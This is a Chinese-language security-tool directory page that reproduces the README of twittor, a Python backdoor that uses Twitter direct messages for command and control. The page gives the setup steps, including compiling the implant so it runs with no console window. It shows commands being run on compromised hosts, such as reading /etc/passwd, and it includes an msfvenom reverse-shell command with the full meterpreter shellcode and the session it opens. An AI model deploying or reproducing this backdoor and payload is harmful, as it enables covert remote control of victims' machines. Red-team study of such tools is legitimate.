Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
twittor — 一个功能齐全的后门,使用 Twitter 作为命令与控制服务器。 | Kitploit
工具/GitHubGitHub/paulsec/twittor
漏洞利用Shellcode后渗透利用命令与控制红队远程访问工具Payload 开发
GitHubpaulsec/twittor

twittor

一个功能齐全的后门,使用 Twitter 作为命令与控制服务器。

查看仓库
80622510年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Twittor

一个基于Python的隐蔽后门,使用Twitter(直接消息)作为命令与控制服务器。 该项目受 Gcat 启发,后者使用Gmail账户实现相同功能。

设置

要使其工作,你需要:

  • 一个Twitter账户(使用专用账户!不要使用个人账户!)
  • 在Twitter上注册一个应用,权限级别设为读取、写入和直接消息。

安装依赖:

root@kitploit:~
$ pip install -r requirements.txt

此仓库包含两个文件:

  • twittor.py:客户端
  • implant.py:实际部署的后门

在两个文件中,编辑访问令牌部分,并添加你之前生成的令牌:

root@kitploit:~
CONSUMER_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
CONSUMER_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

ACCESS_TOKEN = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'
ACCESS_TOKEN_SECRET = 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX'

USERNAME = 'XXXXXXXXXXXXXXXXXXXXXXXX'

你可能希望使用 Pyinstaller 将 implant.py 编译为可执行文件。 为了在使用Pyinstaller编译时移除控制台窗口,可以使用标志 --noconsole --onefile。仅供参考。

使用方法

运行客户端,启动脚本。

root@kitploit:~
$ python twittor.py

然后你将进入一个“交互式”shell,提供以下少数命令:

root@kitploit:~
$ help

    refresh - 刷新C&C控制
    list_bots - 列出活动机器人
    list_commands - 列出已执行的命令
    !retrieve <jobid> - 获取指定jobid的命令结果
    !cmd <MAC ADDRESS> command - 在机器人上执行命令
    !shellcode <MAC ADDRESS> shellcode - 加载并在内存中执行shellcode(仅限Windows)
    help - 打印此帮助信息
    exit - 退出客户端
    
$ 
  • 一旦你在多个系统上部署了后门,可以使用list命令检查可用的客户端:
root@kitploit:~
$ list_bots
B7:76:1F:0B:50:B7: Linux-x.x.x-generic-x86_64-with-Ubuntu-14.04-precise
$

输出是MAC地址,用于唯一标识系统,同时也提供了植入物运行的操作系统信息。此处为Linux系统。

  • 让我们向植入物发出一个命令:
root@kitploit:~
$ !cmd B7:76:1F:0B:50:B7 cat /etc/passwd
[+] Sent command "cat /etc/passwd" with jobid: UMW07r2
$

此处我们指示 B7:76:1F:0B:50:B7 执行 cat /etc/passwd,脚本随后输出 jobid,我们可以用它来检索该命令的输出。

  • 让我们获取结果!
root@kitploit:~
$ !retrieve UMW07r2
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
(...)

这种情况下使用的命令是 !retrieve 后跟上命令的jobid。

  • 刷新结果

为了检索新的机器人/命令输出,同时强制客户端刷新结果,请使用 refresh 命令。

root@kitploit:~
$ refresh
[+] Sending command to retrieve alive bots
[+] Sleeping 10 secs to wait for bots
$

这将发送一个 PING 请求并等待10秒让它们回应。 然后解析直接消息——机器人列表将刷新,命令列表(包括新的命令输出)也将刷新。

  • 检索之前的命令

如前所述,之前的命令会从较早的直接消息(上限200条)中检索出来,你可以通过 list_commands 命令查看它们。

root@kitploit:~
$ list_commands
8WNzapM: 'uname -a ' on 2C:4C:84:8C:D3:B1
VBQpojP: 'cat /etc/passwd' on 2C:4C:84:8C:D3:B1
9KaVJf6: 'PING' on 2C:4C:84:8C:D3:B1
aCu8jG9: 'ls -al' on 2C:4C:84:8C:D3:B1
8LRtdvh: 'PING' on 2C:4C:84:8C:D3:B1
$
  • 运行shellcode(Windows主机)

这个选项在需要获取meterpreter会话时可能很有用,这篇文章非常实用。

生成你的meterpreter shellcode,例如:

root@kitploit:~
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.1 LPORT=3615 -f python
(...)
Payload size: 299 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f"
buf += "\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x00\x00\x01\x68"
buf += "\x02\x00\x0e\x1f\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x3f\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xe9\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\xc3\x01\xc3\x29\xc6"
buf += "\x75\xe9\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"

提取shellcode并使用 !shellcode 命令发送给指定机器人!

root@kitploit:~
$ !shellcode 11:22:33:44:55 \xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b (...)
[+] Sent shellcode with jobid: xdr7mtN
$

就是这样!

root@kitploit:~
msf exploit(handler) > exploit

[*] Started reverse handler on 10.0.0.1:3615 
[*] Starting the payload handler...
[*] Sending stage (884270 bytes) to 10.0.0.99
[*] Meterpreter session 1 opened (10.0.0.1:3615 -> 10.0.0.99:49254) at 2015-09-08 10:19:04 -0400

meterpreter > getuid
Server username: WIN-XXXXXXXXX\PaulSec

开瓶啤酒,享受你的反弹meterpreter shell吧。

贡献和/或问题?

项目完全开源,并以MIT许可证发布。 我主要是想在Twitter决定取消直接消息的140字符限制后创建一个概念验证。 还应添加一些功能,如加密(在顶层添加AES)。 “消息”使用字典数据结构,整个命令仅经过base64编码。 欢迎fork项目、贡献、提交pull request,玩得开心。

如果发现bug,请在GitHub上提交issue,或在Twitter上联系我。

再次,欢迎查看 Gcat 这个令人赞叹的项目,来自 byt3bl33d3r,它给了我很多启发。

下载工具